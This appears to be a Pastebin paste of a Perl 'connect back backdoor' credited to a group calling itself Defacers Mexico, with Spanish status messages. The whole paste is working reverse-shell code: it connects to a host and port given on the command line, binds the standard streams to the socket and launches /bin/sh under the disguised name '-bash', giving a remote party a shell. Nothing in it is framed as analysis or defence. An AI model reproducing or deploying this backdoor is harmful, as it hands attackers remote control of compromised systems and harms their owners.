Guest User

Untitled

a guest
Jun 18th, 2018
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.80 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use Socket;
  4.  
  5. print "Defacers Mexico Perl Connect Back Backdoor\n\n";
  6.  
  7. if (!$ARGV[0]) {
  8.  
  9. printf "Uso: $0 [Host] <Puerto>\n";
  10.  
  11. exit(1);
  12.  
  13. }
  14.  
  15. print "[*] Reuniendo Argumentos\n";
  16. $host = $ARGV[0];
  17. $port = 33333;
  18.  
  19. if ($ARGV[1]) {
  20.  
  21. $port = $ARGV[1];
  22.  
  23. }
  24. print "[*] Conectando...\n";
  25. $proto = getprotobyname('tcp') || die("[-] Protocolo Desconocido\n");
  26. socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("[-] Error Socket\n");
  27. my $target = inet_aton($host);
  28.  
  29. if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
  30. die("[-] Imposible Conectar\n");
  31. }
  32.  
  33. print "[*] Enviado Shell\n";
  34. if (!fork( )) {
  35.  
  36. open(STDIN,">&SERVER");
  37. open(STDOUT,">&SERVER");
  38. open(STDERR,">&SERVER");
  39. exec {'/bin/sh'} '-bash' . "\0" x 4;
  40. exit(0);
  41.  
  42. }
  43. print "[*] Enviada\n\n";
Add Comment
Please, Sign In to add comment